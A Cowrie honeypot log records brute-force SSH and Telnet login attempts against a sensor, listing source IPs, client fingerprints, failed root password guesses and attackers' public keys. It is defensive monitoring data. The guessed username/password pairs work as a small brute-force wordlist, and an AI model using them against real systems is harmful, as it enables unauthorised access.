{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:44.483992Z","src_ip":"147.45.199.80","session":"be89252c4b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:44.581663Z","src_ip":"147.45.199.80","session":"be89252c4b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdert","message":"login attempt [root/asdert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:44.893604Z","src_ip":"147.45.199.80","session":"be89252c4b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:45.994768Z","src_ip":"147.45.199.80","session":"be89252c4b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":59204,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f681c3e703c","protocol":"ssh","message":"New connection: 103.27.238.116:59204 (10.17.0.5:22) [session: 8f681c3e703c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:50.781048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:50.785663Z","src_ip":"103.27.238.116","session":"8f681c3e703c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:51.066363Z","src_ip":"103.27.238.116","session":"8f681c3e703c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan1991","message":"login attempt [root/ruslan1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:51.915043Z","src_ip":"103.27.238.116","session":"8f681c3e703c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:53.198794Z","src_ip":"103.27.238.116","session":"8f681c3e703c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.7714524269104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:56.790485Z","src_ip":"107.6.151.170","session":"c06d134b202c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2bf88b28329","protocol":"telnet","message":"New connection: 128.199.8.54:59600 (159.203.135.109:23) [session: e2bf88b28329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:07.954516Z"}
{"eventid":"cowrie.session.closed","duration":0.005864620208740234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:07.960120Z","src_ip":"128.199.8.54","session":"e2bf88b28329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37288,"dst_ip":"159.203.135.109","dst_port":23,"session":"50339eb66bad","protocol":"telnet","message":"New connection: 107.6.151.170:37288 (159.203.135.109:23) [session: 50339eb66bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:12.517477Z"}
{"eventid":"cowrie.session.closed","duration":0.004662275314331055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:12.521983Z","src_ip":"107.6.151.170","session":"50339eb66bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":54232,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cbb839d2338","protocol":"ssh","message":"New connection: 139.59.4.137:54232 (159.203.135.109:22) [session: 1cbb839d2338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:19.128802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:19.132815Z","src_ip":"139.59.4.137","session":"1cbb839d2338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:19.348746Z","src_ip":"139.59.4.137","session":"1cbb839d2338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reaper1","message":"login attempt [root/reaper1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:20.240591Z","src_ip":"139.59.4.137","session":"1cbb839d2338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:21.456498Z","src_ip":"139.59.4.137","session":"1cbb839d2338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":37724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e156b83efc1c","protocol":"ssh","message":"New connection: 101.36.119.203:37724 (10.17.0.5:22) [session: e156b83efc1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:24.424810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:24.429109Z","src_ip":"101.36.119.203","session":"e156b83efc1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:24.642519Z","src_ip":"101.36.119.203","session":"e156b83efc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcabc11","message":"login attempt [root/abcabc11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:25.522620Z","src_ip":"101.36.119.203","session":"e156b83efc1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:26.737674Z","src_ip":"101.36.119.203","session":"e156b83efc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56330,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0cc0883edf","protocol":"telnet","message":"New connection: 137.184.5.188:56330 (159.203.135.109:23) [session: 9a0cc0883edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:34.756518Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.78.125.123","src_port":49000,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aecfd278816","protocol":"ssh","message":"New connection: 121.78.125.123:49000 (10.17.0.5:22) [session: 4aecfd278816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:51.147948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:51.152072Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:51.368040Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:52:aa:90:3f:b5:f2:53:dd:bc:df:32:e2:87:eb:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0P+tNOdMh1QJshdgjLaHRkrJv/ZGJqgY1NbvfT5Lu/tp0FgCpHj+8cEZg0sG24gONwKW6G/LeofA/uqT8KfPBVo8Rl3NVYZW7KGdWtANsDW4Re3gg5Ggs6lZ6qovzg9qn4Gio+cmCuRPhLKkmlq668f3LnJyEQsyv2A0aTp3MdxqlFytjTsYldOuVztxzaueWjpcoX/4SsnZfEuPAwEnWczdUZ2BGXHsVdUmQG5j39Hr415p5dDT+rqvuzTlevspzCuVYM7KU8tWHGhYLa1LQM+i+NpfG5dFBuVvFFU8PHLH8yOhwPongcTV8zLjY5USRKuzbSygaEpGhnYnSCqd+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:52:aa:90:3f:b5:f2:53:dd:bc:df:32:e2:87:eb:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:52.397922Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:52:aa:90:3f:b5:f2:53:dd:bc:df:32:e2:87:eb:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0P+tNOdMh1QJshdgjLaHRkrJv/ZGJqgY1NbvfT5Lu/tp0FgCpHj+8cEZg0sG24gONwKW6G/LeofA/uqT8KfPBVo8Rl3NVYZW7KGdWtANsDW4Re3gg5Ggs6lZ6qovzg9qn4Gio+cmCuRPhLKkmlq668f3LnJyEQsyv2A0aTp3MdxqlFytjTsYldOuVztxzaueWjpcoX/4SsnZfEuPAwEnWczdUZ2BGXHsVdUmQG5j39Hr415p5dDT+rqvuzTlevspzCuVYM7KU8tWHGhYLa1LQM+i+NpfG5dFBuVvFFU8PHLH8yOhwPongcTV8zLjY5USRKuzbSygaEpGhnYnSCqd+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:52.400933Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:85:4c:9d:ef:8d:0a:01:b3:0d:9d:5a:ac:34:9e:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3w65DO70tOY6032FYTHq0/kpYytB9RTJGGrsunE2ITXYZ0riWI2R1UTIe3Z9u97usCQUGEOjhWSEUht06bPYz6q2f3vRLAnVJpEz5R4xdCveTsuI6I7NWhLg7urPCt6xRJJ7RNOuZZsOXbGyxA/e4IwkEjivdl38SNFlxkPPwlvahp2h8m33OgOE2bYyRbSUsraIfTs0Knqs3wUgC1d6RsCiBPubGLuwYIWIfcRY5qixbfbqF2jkmWm8/vdg651YGEZdEsDPx2hLmZqPeN8SiAI3LOyexvL0WtjuIG+trcX1P3/THbKFxe38lTAgDupQd+eOK0BS1Bk8wKQBuHpSgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:85:4c:9d:ef:8d:0a:01:b3:0d:9d:5a:ac:34:9e:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:52.611206Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:85:4c:9d:ef:8d:0a:01:b3:0d:9d:5a:ac:34:9e:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3w65DO70tOY6032FYTHq0/kpYytB9RTJGGrsunE2ITXYZ0riWI2R1UTIe3Z9u97usCQUGEOjhWSEUht06bPYz6q2f3vRLAnVJpEz5R4xdCveTsuI6I7NWhLg7urPCt6xRJJ7RNOuZZsOXbGyxA/e4IwkEjivdl38SNFlxkPPwlvahp2h8m33OgOE2bYyRbSUsraIfTs0Knqs3wUgC1d6RsCiBPubGLuwYIWIfcRY5qixbfbqF2jkmWm8/vdg651YGEZdEsDPx2hLmZqPeN8SiAI3LOyexvL0WtjuIG+trcX1P3/THbKFxe38lTAgDupQd+eOK0BS1Bk8wKQBuHpSgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:52.614384Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:87:65:0e:fd:46:dd:51:0c:fd:4f:91:32:f5:53:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+RDFIn0L78XBW9/gAgpnD21bA84tgTg6gl4o9X4rBZ/xvYybhB0MA8uEO7g1eLnBJ+uORV+J8RAPV06HlQaJsRGE8dW3UwLSPJ0gZzLGPfwzOxgaGdp62+Z1xdnRwNfTl+214ifYTZ5TQLVqqN0qEVQv5xdWxMre2sCAf4GMODKIGAoo97WGZViBogWZWDjptcj1MMrbkLZ0wu/TL2/qvTXU5hKHfZwtUvhnucLpPRohsjLz+zOTy4ftQ0XfZMG8GFfFhAWE8Pao3PLDVWwnqZyI79rF0TqF9Dn3P+SKFbrx3gtDM2/xC2MfYIWVaOqICh6Wfy1Z7cZH1XPH5yC5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:87:65:0e:fd:46:dd:51:0c:fd:4f:91:32:f5:53:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:52.824933Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:87:65:0e:fd:46:dd:51:0c:fd:4f:91:32:f5:53:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+RDFIn0L78XBW9/gAgpnD21bA84tgTg6gl4o9X4rBZ/xvYybhB0MA8uEO7g1eLnBJ+uORV+J8RAPV06HlQaJsRGE8dW3UwLSPJ0gZzLGPfwzOxgaGdp62+Z1xdnRwNfTl+214ifYTZ5TQLVqqN0qEVQv5xdWxMre2sCAf4GMODKIGAoo97WGZViBogWZWDjptcj1MMrbkLZ0wu/TL2/qvTXU5hKHfZwtUvhnucLpPRohsjLz+zOTy4ftQ0XfZMG8GFfFhAWE8Pao3PLDVWwnqZyI79rF0TqF9Dn3P+SKFbrx3gtDM2/xC2MfYIWVaOqICh6Wfy1Z7cZH1XPH5yC5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:52.828403Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:61:ce:97:f2:85:0c:8a:ac:d2:62:94:90:eb:8a:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRqmpFjDcyn7D4+UZ08+cRf0BjSRZMtwIBpVmBK0MW2R59/iAn7PLL5cuyLHUcXp/Z8zxxZk6vFdMozBbI/tnAAIR4EcZF8B/MNQu18OeqBjRhMBOkHY84AsOZFUsP8C+cM3ZIDcfbow6qrBNpJsjPB8PELfmBn5wbpJQmyfGPqLfhenPgXMxexi9B3VeaevVe3ruuWxGABgCUeh8c9+QyekQvnDXvYWKLD0AqYq94ICPnc/oOIBZOfzldGi9cV+iWpzuwOhDN4fQk/4YgftzPMFOOkFLwy80U7hj58CqJUmfufqGDhS6K7YD/hSOozL4rjjpEdp4aYq5DqdreynwO+/17O4g2Vu3dGhKdkT9HWTkQT674Nj2OLc8POKJKvF4JP93CeUIJr6M9sGm55Ld8506y7RBJMInkdu6uSYx4Tl0NURTp3uVfXuE8UGyUsQ1oYI2TFZhdIcpoZB7CtxzryltYHkDkr41QEfY45ScraUiZrUt5wZBxNbrMuclxvjE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:61:ce:97:f2:85:0c:8a:ac:d2:62:94:90:eb:8a:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:53.038793Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:61:ce:97:f2:85:0c:8a:ac:d2:62:94:90:eb:8a:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRqmpFjDcyn7D4+UZ08+cRf0BjSRZMtwIBpVmBK0MW2R59/iAn7PLL5cuyLHUcXp/Z8zxxZk6vFdMozBbI/tnAAIR4EcZF8B/MNQu18OeqBjRhMBOkHY84AsOZFUsP8C+cM3ZIDcfbow6qrBNpJsjPB8PELfmBn5wbpJQmyfGPqLfhenPgXMxexi9B3VeaevVe3ruuWxGABgCUeh8c9+QyekQvnDXvYWKLD0AqYq94ICPnc/oOIBZOfzldGi9cV+iWpzuwOhDN4fQk/4YgftzPMFOOkFLwy80U7hj58CqJUmfufqGDhS6K7YD/hSOozL4rjjpEdp4aYq5DqdreynwO+/17O4g2Vu3dGhKdkT9HWTkQT674Nj2OLc8POKJKvF4JP93CeUIJr6M9sGm55Ld8506y7RBJMInkdu6uSYx4Tl0NURTp3uVfXuE8UGyUsQ1oYI2TFZhdIcpoZB7CtxzryltYHkDkr41QEfY45ScraUiZrUt5wZBxNbrMuclxvjE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:53.044043Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
